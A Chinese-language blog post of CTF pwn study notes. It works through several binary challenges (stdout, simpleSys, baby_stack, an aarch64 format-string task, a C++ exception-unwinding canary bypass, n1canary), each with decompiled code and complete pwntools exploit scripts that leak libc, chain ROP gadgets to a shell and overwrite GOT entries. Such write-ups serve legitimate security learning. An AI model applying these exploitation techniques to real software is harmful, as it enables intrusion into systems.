2024暑期学习(一)
非常非常非常感谢ve1kcon!^ ^✌️2024年暑期学习 (1) - ve1kcon - 博客园 (cnblogs.com)
学习内容:
1.复现了一点点题目
2.了解了C++异常处理
3.学习了Tmux的使用
cqb2024x
ctf
stdout
前置内容(copy):
setvbuf()
函数的原型如下
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
- stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
- buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
- mode 指定了文件缓冲的模式
- size 是缓冲的大小,以字节为单位
该函数的三参有三种模式:
- 全缓冲:0,缓冲区满 或 调用fflush() 后输出缓冲区内容
- 行缓冲:1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容
- 无缓冲:2,直接输出
了解了这些,后面的思路无非是通过填满缓冲区或调用fflush()来输出缓冲区内容。但要调用 fflush()
函数显然需要 libc
基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了。
检查保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
main()
函数中存在 0x10
大小栈溢出
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[80]; // [rsp+0h] [rbp-50h] BYREFinit(argc, argv, envp);puts("where is my stdout???");read(0, buf, 0x60uLL);return 0;
}
int init()
{setvbuf(stdout, 0LL, 0, 0LL);return setvbuf(stdin, 0LL, 2, 0LL);
}
vuln()
函数:
ssize_t vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFreturn read(0, buf, 0x200uLL);
}
extend()
函数,这个函数可以用来填满输出缓冲区然后再rop:
__int64 extend()
{__int64 result; // raxchar s[8]; // [rsp+0h] [rbp-30h] BYREF__int64 v2; // [rsp+8h] [rbp-28h]__int64 v3; // [rsp+10h] [rbp-20h]__int64 v4; // [rsp+18h] [rbp-18h]int v5; // [rsp+28h] [rbp-8h]int v6; // [rsp+2Ch] [rbp-4h]puts("Just to increase the number of got tables");*(_QWORD *)s = 0x216F6C6C6568LL;v2 = 0LL;v3 = 0LL;v4 = 0LL;v6 = strlen(s);if ( strcmp(s, "hello!") )exit(0);puts("hello!");srand(1u);v5 = 0;result = (unsigned int)(rand() % 16);v5 = result;return result;
}
exp:
from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./stdout")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'vuln = 0x40125D
pop_rdi_ret = 0x4013d3
puts_plt = 0x4010B0
ret = 0x000000000040101a
extend = 0x401287
pop_rsi_r15=0x4013d1
puts_got=0x404018
payload='a'*0x58+p64(vuln)
p.send(payload)
for i in range(2):payload='a'*0x28+p64(extend)*55+p64(pop_rdi_ret)+p64(puts_got)+p64(elf.plt['puts'])+p64(vuln)p.send(payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
info("libc_base: "+hex(libc_base))system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload='a'*0x28+p64(extend)*56+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.send(payload)p.interactive()
awdp
simpleSys
检查保护:
Arch: amd64-64-littleRELRO: Full RELROStack: No canary foundNX: NX enabledPIE: PIE enabled
menu()
int sub_17AD()
{puts("1. sign up");puts("2. login");puts("3. add bio");puts("4. logout");return printf("Enter your choice: ");
}
选项 3 如下,需要 root
账户才能使用,evil_read((__int64)s, v3)
存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s)
时带出地址信息,泄出地址后选择 n
继续循环
int sub_146A()
{int result; // eaxchar s[91]; // [rsp+0h] [rbp-60h] BYREFunsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREFint v3; // [rsp+5Ch] [rbp-4h]if ( !check_login )return puts("login first");if ( !check_root )return puts("only root");while ( 1 ){printf("input length: ");v3 = get_num();if ( v3 > 80 )break;evil_read((__int64)s, v3);printf("confirm your bio: %s [y/n]", s);__isoc99_scanf("%c", &v2);getchar();result = v2;if ( v2 == 'y' )return result;v3 = 0;memset(s, 0, 0x50uLL);}return puts("too long");
}
选项2,输入name为root可以进入循环,base64()
函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b
中
int login()
{unsigned int v0; // eaxsize_t v1; // raxint result; // eaxsize_t v3; // raxsize_t v4; // raxchar mypasswd[48]; // [rsp+0h] [rbp-60h] BYREFchar myname[48]; // [rsp+30h] [rbp-30h] BYREFmemset(myname, 0, 0x25uLL);memset(mypasswd, 0, 0x25uLL);printf("username: ");evil_read((__int64)myname, 0x24uLL);printf("password: ");evil_read((__int64)mypasswd, 0x24uLL);if ( !strncmp(myname, "root", 4uLL) ){v0 = strlen(mypasswd);base64(mypasswd, v0, &mypasswd_b);v1 = strlen(root_passwd);if ( !strncmp(&mypasswd_b, root_passwd, v1) ){result = printf("%s login successfully\n", myname);check_root = 1;check_login = 1;return result;}}else{v3 = strlen(name);if ( !strncmp(myname, name, v3) ){v4 = strlen(passwd);if ( !strncmp(mypasswd, passwd, v4) ){result = printf("%s login successfully\n", myname);check_login = 1;return result;}}}return puts("fail to login");
}
刚好mypasswd_b和root_passwd是挨着的,”输入 36 个 'a' 进行编码后长度为 0x30
,存储到 mypasswd_b
时因为存在 off-by-null 会将紧挨着的 root_passwd
低位覆盖为 '\x00'
,使得判断长度 v1 = strlen(root_passwd)
的值为 0 绕过判断,从而能够登录 root
账户“,看了下base64()
,应该结尾这个地方存在off-by-null, *(_BYTE *)(v11 + a3) = 0;
.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: login+B7↑o
.data:0000000000004020 ; login+E4↑o
.data:0000000000004028 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050 ; DATA XREF: login+C8↑o
.data:0000000000004050 ; login+DA↑o
其实可以发现 root_passwd
是以硬编码的形式存储,可以 base64 解码得到明文 this is password
,但还是登录失败,经过调试发现了奇怪的地方,strncmp()
函数的三参是 0x19
,照例来说编码的长度是 0x18
v1 = strlen(root_passwd)
判断的是 root_passwd
的长度,因为后面其紧跟着 '\x01'
字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过
exp
:
from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./simpleSys")
p = process([elf.path])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
def menu(index):p.sendlineafter('Enter your choice: ', str(index))def signup(username, passwd):menu(1)p.sendlineafter('username: ', username)p.sendlineafter('password: ', passwd)def login(username, passwd):menu(2)p.sendlineafter('username: ', username)p.sendlineafter('password: ', passwd)def addbio(len, content='a'):menu(3)p.sendlineafter('length: ', str(len))p.sendline(content)# gdb.attach(p,"b *$rebase(0x14B2)")
# pause()
login('root', 'a'*36)
payload = 'a' * (0x30)
addbio(-1, payload)
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))- 0x273040
info("libc base: "+hex(libc_base))p.sendlineafter('[y/n]', 'n')pop_rdi_ret=libc_base+0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a' * (0x60 + 0x8)
payload += p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')p.interactive()
WKCTF
baby_stack
检查保护,GOT 表可写,无 canary:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./2.27-3ubuntu1.6'
wait()
栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据:
__int64 wait()
{unsigned int v0; // eaxchar s[5]; // [rsp+Bh] [rbp-85h] BYREFchar format[120]; // [rsp+10h] [rbp-80h] BYREFputs("Press enter to continue");getc(stdin);printf("Pick a number: ");fgets(s, 5, stdin);v0 = strtol(s, 0LL, 10);snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);printf(format);return introduce();
}
get_num_bytes()
:
int get_num_bytes()
{unsigned int v0; // eaxchar s[13]; // [rsp+Bh] [rbp-15h] BYREFprintf("How many bytes do you want to read (max 256)? ");fgets(s, 5, stdin);v0 = strtol(s, 0LL, 10);if ( v0 > 0x100 )return puts("Don't break the rules!");elsereturn echo(v0);
}
echo()
:
__int64 __fastcall echo(unsigned int a1)
{char v2[256]; // [rsp+0h] [rbp-100h] BYREFreturn echo_inner(v2, a1);
}
echo_inner(_BYTE *a1, int a2)
off-by-null,可以改 rbp 低位为 \x00
,效果是在 echo_inner()
函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo()
返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率:
int __fastcall echo_inner(_BYTE *a1, int a2)
{a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;puts("You said:");return printf("%s", a1);
}
刚开始没怎么懂,后来调试了几遍弄明白了,就是利用返回的leave;ret;栈迁移:
exp:
from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
p = process([elf.path])
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'gdb.attach(p, "b *$rebase(0x1300)\nc")
pause()
p.send('1')
p.sendlineafter('number: ','6')
p.recvuntil('number is: ')
libc_base=int(p.recv(12),16)-0x57e3-0x3e7000
info("libc_base: "+hex(libc_base))
p.sendlineafter('(max 256)? ', '256')ret=libc_base+0x8aa
onegadget=libc_base+[0x4f29e,0x4f2a5,0x4f302,0x10a2fc][2]
payload=p64(ret)*31+p64(onegadget)
# pop_rdi_ret=libc_base+0x2164f
# system=libc_base+libc.sym['system']
# bin_sh=libc_base+next(libc.search('/bin/sh'))
# payload=p64(ret)*28+p64(pop_rdi_ret)+p64(bin_sh)+p64(0)p.send(payload)p.interactive()
something_changed
检查保护,一个 AARCH64
架构的程序,GOT 表可写,开了 canary 保护:
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
AARCH64(也称为 ARM64)是 ARM 公司的 64 位处理器架构。它是 ARMv8-A 架构的一部分,设计用于增强性能和处理能力,特别是在移动设备、嵌入式系统、服务器和高性能计算领域。
➜ silent ./silent
/lib/ld-linux-aarch64.so.1: No such file or directory
运行报错,偷看下ve1kcon老师的作业
解决方法如下
$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/
main()
main函数存在栈溢出漏洞和格式化字符串漏洞:
int __fastcall main(int argc, const char **argv, const char **envp)
{size_t v4; // x19int i; // [xsp+FCCh] [xbp+2Ch]char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF__int64 v7; // [xsp+FF8h] [xbp+58h]v7 = _bss_start;read(0, v6, 0x50uLL);for ( i = 0; ; ++i ){v4 = i;if ( v4 >= strlen(v6) )break;if ( (char *)(unsigned __int8)v6[i] == "$" )return 0;}printf(v6);return 0;
}
存在backdoor
:
__int64 backdoor()
{__int64 v1; // [xsp+18h] [xbp+18h]v1 = _bss_start;system("/bin/sh");return v1 ^ _bss_start;
}
测下偏移,偏移是14:
➜ silent ./silent
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x40007ffd80-0x2c-0xfffff-(nil)-(nil)-0x6f242c6f242c6f24-0x7f7f7f7f7f7f7f7f-0x40007ffd70-0x40008773fc-0x40007ffee8-0x400081314c-0x40007ffee8-0x4b00000001-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70
canary被破坏会触发__stack_chk_fail()
函数,所以直接使用 fmtstr_payload
这个轮子将 __stack_chk_fail()
函数的 GOT 表改成后门地址
exp:
from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./silent")
p = process([elf.path])
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'payload=fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)p.interactive()
如何调试异构这道异构题:
在运行于 x86_64
架构上的 Ubuntu
系统里查看 arm
交叉编译的可执行文件依赖的动态库
➜ silent readelf -a ./silent | grep "Shared" 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
,然后另起一个终端使用 GDB
连上去
另外
GDB
默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序pwndbg> set endian little
异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探
$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234
exp:
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './silent'])def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()debug('''
add-symbol-file /lib/x86_64-linux-gnu/libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)p.interactive()
C++异常处理
前置知识:
异常是程序在执行期间产生的问题。C++ 异常是指在程序运行时发生的特殊情况,比如尝试除以零的操作。
异常提供了一种转移程序控制权的方式。C++ 异常处理涉及到三个关键字:try、catch、throw。
- throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
- catch: 在您想要处理问题的地方,通过异常处理程序捕获异常。catch 关键字用于捕获异常。
- try: try 块中的代码标识将被激活的特定异常。它后面通常跟着一个或多个 catch 块。
如果有一个块抛出一个异常,捕获异常的方法会使用 try 和 catch 关键字。try 块中放置可能抛出异常的代码,try 块中的代码被称为保护代码。使用 try/catch 语句的语法如下所示:
try { // 保护代码 }catch( ExceptionName e1 ) { // catch 块 }catch( ExceptionName e2 ) { // catch 块 }catch( ExceptionName eN ) { // catch 块 }
如果 try 块在不同的情境下会抛出不同的异常,这个时候可以尝试罗列多个 catch 语句,用于捕获不同类型的异常。来自-C++ 异常处理 | 菜鸟教程 (runoob.com)
调试一下ve1kcon的demo来加深对异常处理机制的理解,目的是去验证下列操作的可行性:
- 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
- unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void backdoor()
{try{printf("We have never called this backdoor!");}catch (const char *s){printf("[!] Backdoor has catched the exception: %s\n", s);system("/bin/sh");}
}class x
{
public:char buf[0x10];x(void){// printf("x:x() called!\n");}~x(void){// printf("x:~x() called!\n");}
};void input()
{x tmp;printf("[!] enter your input:");fflush(stdout);int count = 0x100;size_t len = read(0, tmp.buf, count);if (len > 0x10){throw "Buffer overflow.";}printf("[+] input() return.\n");
}int main()
{try{input();printf("--------------------------------------\n");throw 1;}catch (int x){printf("[-] Int: %d\n", x);}catch (const char *s){printf("[-] String: %s\n", s);}printf("[+] main() return.\n");return 0;
}
检查一下保护,开了canary
Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
输入点 buf 距离 rbp 的距离是0x30
unsigned __int64 input(void)
{_QWORD *exception; // raxchar buf[24]; // [rsp+10h] [rbp-30h] BYREFunsigned __int64 v3; // [rsp+28h] [rbp-18h]v3 = __readfsqword(0x28u);x::x((x *)buf);printf("[!] enter your input:");fflush(stdout);if ( (unsigned __int64)read(0, buf, 0x100uLL) > 0x10 ){exception = __cxa_allocate_exception(8uLL);*exception = "Buffer overflow.";__cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL);}puts("[+] input() return.");x::~x((x *)buf);return v3 - __readfsqword(0x28u);
}
输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程
➜ C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[-] String: Buffer overflow.
[+] main() return.
➜ C++异常处理 ./exc
[!] enter your input:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
[1] 6613 bus error (core dumped) ./exc
当程序执行到 input()
函数中的某个部分发生异常时,程序会立即开始异常处理过程,而不会继续执行该函数中异常后的代码。
这是因为异常处理会从 __cxa_throw()
开始,然后进行栈展开(unwind)、清理(cleanup)、寻找异常处理器(handler)等步骤。在这个过程中,程序不会执行发生异常的函数的剩余部分。它会沿着函数调用链向上查找,直到找到能够处理该异常的最近的函数,然后跳转到该函数的 catch
块继续执行。
因此,出现异常的函数中的 throw
语句后的代码,以及在栈展开过程中被跳过的函数的剩余代码,都不会被执行。这就是为什么你不会看到 input()
函数中 throw
语句后的任何输出。
继续运行程序到报错的位置,0x401506
这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址
根据指令地址,可以在 IDA 中定位到这是异常处理结束后的最终 ret
指令。因此,可以确定程序在执行 main
函数的异常处理器时崩溃。导致这种崩溃的原因很明显:最后执行的 leave; ret
指令将返回地址设置为 [rbp+8]
,导致非法的返回地址。这意味着可以在异常处理器中完成栈迁移。因此,可以尝试通过修改 rbp
来实现控制程序执行,从而提前布置好的 ROP 链。
接下来尝试劫持程序去执行 GOT 表里的函数
把rbp改成puts.got-0x8,利用 poc2 = padding + p64(0x404050-0x8)
,运行到上述断点处发现成功调用到了 puts
函数
但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate
为了调试上述说法,对 demo 作了修改,主要改动如下
void test()
{x tmp;printf("[!] enter your input:");fflush(stdout);int count = 0x100;size_t len = read(0, tmp.buf, count);if (len > 0x10){throw "Buffer overflow.";}printf("[+] test() return.\n");
}void input()
{test();printf("[+] input() return.\n");
}
这回同样是使用 poc2
,但 crash 了
对 demo 重新修改的部分如下
void input()
{try{test();}catch (const char *s){printf("[-] String(From input): %s\n", s);}printf("[+] input() return.\n");
}
再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢
下面尝试通过直接劫持 input()
函数的 ret, 可以发现在源码中有定义 backdoor()
函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1)
尝试触发后门
这里将返回地址填充成了
backdoor()
函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail()
这个函数对栈进行检测
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()def exp():debug('b *(&_Unwind_RaiseException+463)') # call _read# b __cxa_throw@plt# b *0x401506 # handler ret# b *(&_Unwind_RaiseException+463) # check rettest = 'a'*5padding = 'a'*0x30# poc = padding + '\n'#poc1 = padding + '\x01'poc2 = padding + p64(0x404050-0x8)#poc3 = poc2 + 'b'*8poc4 = poc2 + p64(0x401292+1)p.sendafter('input:', poc4)exp()
p.interactive()
N1CTF2023_n1canary
检查保护:
Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
main()
:
int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // rdx__int64 v4; // rax_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREFv6[1] = __readfsqword(0x28u);setbuf(stdin, 0LL, envp);setbuf(stdout, 0LL, v3);init_canary();std::make_unique<BOFApp>(v6);v4 = std::unique_ptr<BOFApp>::operator->(v6);(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);std::unique_ptr<BOFApp>::~unique_ptr(v6);return 0;
}
readall
函数被调用以读取用户提供的 canary 值。模板参数 unsigned long long [8]
表示要读取的类型是一个包含 8 个 unsigned long long
的数组。&user_canary
是存储用户提供的 canary 值的地址。函数返回 readall
的结果,这是一个 __int64
类型的值。
__int64 init_canary(void)
{if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )raise("canary init error");puts("To increase entropy, give me your canary");return readall<unsigned long long [8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码是 BOFApp
类的构造函数实现,具体做了以下事情:
- 调用基类构造函数:调用
UnsafeApp
类的构造函数来初始化this
对象。 - 设置虚表指针:将
this
对象的前 8 字节设置为指向off_4ED510
,这通常是一个指向虚函数表(vtable)的指针,用于支持多态性。
概括来说,这段代码在创建 BOFApp
对象时,先初始化其基类 UnsafeApp
,然后设置其虚表指针。
void __fastcall BOFApp::BOFApp(BOFApp *this)
{UnsafeApp::UnsafeApp(this);*(_QWORD *)this = off_4ED510;
}
创建一个 BOFApp
类的实例,然后调用 BOFApp
的构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1
的操作
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{BOFApp *v1; // rbxv1 = (BOFApp *)operator new(8uLL);*(_QWORD *)v1 = 0LL;BOFApp::BOFApp(v1);std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);return a1;
}
执行完std::make_unique<BOFApp>((__int64)v6)
后,栈变量 v6
被重新赋值
接下来调用BOFApp::launch()
函数
0x4ed520 <_ZTV6BOFApp+32>: 0x0000000000403552 0x0000000000000000
0x4ed530: 0x0000000000000000 0x0000000000000000
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr()
--> std::default_delete<BOFApp>::operator()(BOFApp*)
,这里存在函数指针调用,这意味着只需要控制 a2
的值就能控制程序流
__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{__int64 result; // raxresult = a2;if ( a2 )return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);return result;
}
通过调试分析参数a2和前面的栈变量v6有关
这里调用了0x4038b8
这里存在栈溢出:
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(__int64 a1,__int64 a2,int a3,int a4,int a5,int a6)
{return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
chatgpt回答:这段代码中存在栈溢出的风险,主要是因为 _isoc23_scanf
函数的参数不正确。具体问题如下:
-
重复使用的参数:
_isoc23_scanf
接受的参数是变长参数列表,但在调用时,参数a2
被重复使用了两次。这会导致未定义行为,因为 scanf 系列函数期望所有参数都是独立的。 -
参数数量错误:
_isoc23_scanf
的第一个参数是格式字符串,后续参数是根据格式字符串匹配的。传递给_isoc23_scanf
的参数应与格式字符串中指定的格式完全一致。这里的格式字符串"%[^\n]"
只需要一个参数,但实际传递了七个参数(包括重复的a2
和a1
)。"%[^\n]"
格式字符串会读取直到换行符的所有字符。如果输入的字符数超过了目标缓冲区的大小,就会导致缓冲区溢出。
断点下载__isoc23_scanf
,输入deadbeef看下写入的位置
距离指针0x70
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{__int64 v1; // rbxbool result; // alv1 = *(_QWORD *)(a1 + 0x48);result = v1 != ProtectedBuffer<64ul>::getCanary(a1);if ( result )raise("*** stack smash detected ***");return result;
}void __fastcall __noreturn raise(const char *a1)
{std::runtime_error *exception; // rbxputs(a1);exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);std::runtime_error::runtime_error(exception, a1);_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
在0x403291
下断点,只要控了 RAX
就能够控到 RDX
,在最后的 call rdx;
处便能造成任意代码执行
exp
:
from pwn import *#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
p = process([elf.path])def debug(content=None):if content is None:gdb.attach(p)pause()else:gdb.attach(p, content)pause()
# debug('b *0x403291\nc')
# b *0x403547 #BOFApp::launch(void):_isoc23_scanf
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)payload = 'a'*(0x70-0x8)
payload += p64(0x403407) # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
p.sendlineafter(' to pwn :)\n', payload)p.interactive()